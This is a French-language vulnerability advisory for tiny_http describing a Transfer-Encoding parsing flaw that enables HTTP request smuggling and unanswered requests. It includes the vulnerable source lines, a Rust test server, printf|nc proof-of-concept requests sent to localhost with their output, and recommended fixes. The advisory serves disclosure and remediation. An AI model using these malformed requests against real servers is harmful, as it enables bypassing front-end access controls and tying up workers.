
Avis de sécurité : Contournement de requêtes HTTP via des valeurs Transfer-Encoding non analysées (tiny_http)
ID CVE attribué : CVE-2026-66752
tiny_http vérifie uniquement si un en-tête Transfer-Encoding est présent. Il n'examine jamais sa valeur. Toute valeur, y compris les codages qui ne sont pas chunked et les listes de codages dont le dernier élément n'est pas chunked, entraîne le décodage en chunks du corps, et Content-Length est ignoré au même moment.
Un frontal qui analyse correctement le codage de transfert délimitera une telle requête différemment de tiny_http. Deux participants avec deux délimitations différentes sur une même connexion constituent la condition préalable à la contrebande de requêtes. Envoyer un corps non chunked avec un codage non chunked fait également échouer la lecture du corps par tiny_http, qui ne répond alors rien du tout.
URL du dépôt : https://github.com/tiny-http/tiny-http
| Affectées | toutes les versions publiées jusqu'à 0.12.0 incluse (2022-10-06), la version actuelle |
| Vérifiées | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Corrigée dans | aucune version corrigée au moment de la rédaction |
CWE-444 (Interprétation incohérente des requêtes HTTP).
Score de base CVSS 4.0 : 6.3 (Moyen)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N
Un client distant et non authentifié envoyant du HTTP brut. Aucun identifiant ni interaction utilisateur requis.
Le cas de contrebande exige que tiny_http se trouve derrière un frontal ou un CDN qui transmet Transfer-Encoding et Content-Length et applique correctement la section 6.1 de la RFC 9112, c'est-à-dire qu'il considère une liste de codages dont le dernier élément n'est pas chunked comme n'étant pas chunked et se rabat sur Content-Length. Ce frontal et tiny_http ne s'accordent alors pas sur l'endroit où le corps se termine.
Le cas de la requête sans réponse ne nécessite rien de plus que la possibilité d'établir une connexion.
tiny_http-0.12.0/src/request.rs, lignes 143 à 153. L'en-tête est localisé et cloné, mais la valeur n'est testée que pour sa présence :
143 // finding the transfer-encoding header
144 let transfer_encoding = headers
145 .iter()
146 .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147 .map(|h| h.value.clone());
148
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
tiny_http-0.12.0/src/request.rs, lignes 218 à 221, applique ensuite le décodeur chunked sans condition :
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
transfer_encoding est une Option<AsciiString> contenant la valeur brute, et rien n'inspecte jamais son contenu. La section 6.1 de la RFC 9112 exige que le dernier codage d'une requête soit chunked et qu'un serveur rejette le message dans le cas contraire, et la section 6.3 exige de rejeter une requête qui porte à la fois Transfer-Encoding et Content-Length.
Étape 1. Démarrer un serveur qui rapporte les en-têtes de délimitation et le corps qu'il a lu.
use std::io::Read;
use tiny_http::{Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8005").unwrap();
for mut request in server.incoming_requests() {
let te = request.headers().iter()
.find(|h| h.field.equiv("Transfer-Encoding"))
.map(|h| h.value.as_str().to_string());
let cl = request.headers().iter()
.find(|h| h.field.equiv("Content-Length"))
.map(|h| h.value.as_str().to_string());
let mut body = Vec::new();
let r = request.as_reader().read_to_end(&mut body);
println!("TE={:?} CL={:?} read={:?} body={:?}",
te, cl, r, String::from_utf8_lossy(&body));
let _ = request.respond(Response::from_string("ok"));
}
}
Étape 2. Envoyer une requête avec Transfer-Encoding: identity, un Content-Length correspondant et un corps simple. Tout frontal délimiterait ce corps comme les cinq octets hello.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005
Résultat. tiny_http a décodé en chunks un corps qui n'était pas chunked, l'a abandonné et n'a envoyé aucune réponse. Le client attend jusqu'à son propre délai d'expiration et la connexion est consommée.
TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""
Étape 3. Envoyer une liste de codages dont le dernier élément n'est pas chunked.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005
Résultat. tiny_http l'accepte et le décode en chunks, là où la section 6.1 de la RFC 9112 exige un rejet :
TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"
Pour comparaison, Content-Length seul et un Transfer-Encoding: chunked correct se comportent tous deux correctement et produisent body="hello".
Lorsque tiny_http se trouve derrière un frontal qui analyse correctement les codages de transfert, les deux composants ne s'accordent pas sur l'endroit où le corps de la requête se termine. L'attaquant choisit les octets de part et d'autre de ce désaccord, ce qui constitue la configuration standard pour faire passer en contrebande une requête au-delà du routage et du contrôle d'accès du frontal.
Indépendamment de tout frontal, les étapes 2 et 3 montrent qu'une requête trivialement malformée occupe un worker et ne reçoit aucune réponse, de sorte que le client ne peut pas savoir que la requête a été rejetée.
Analyser Transfer-Encoding comme la liste séparée par des virgules qu'elle est, dans src/request.rs autour de la ligne 144 :
Exiger que le dernier codage soit chunked pour une requête portant un corps, et rejeter tout autre codage avec un 400 plutôt que de le décoder en chunks. Rejeter une requête qui porte à la fois Transfer-Encoding et Content-Length, comme l'exige la section 6.3 de la RFC 9112 pour un serveur qui n'est pas un proxy, au lieu d'ignorer silencieusement Content-Length à la ligne 150.
Lorsque la lecture du corps échoue, envoyer un 400 plutôt que d'abandonner la requête sans réponse.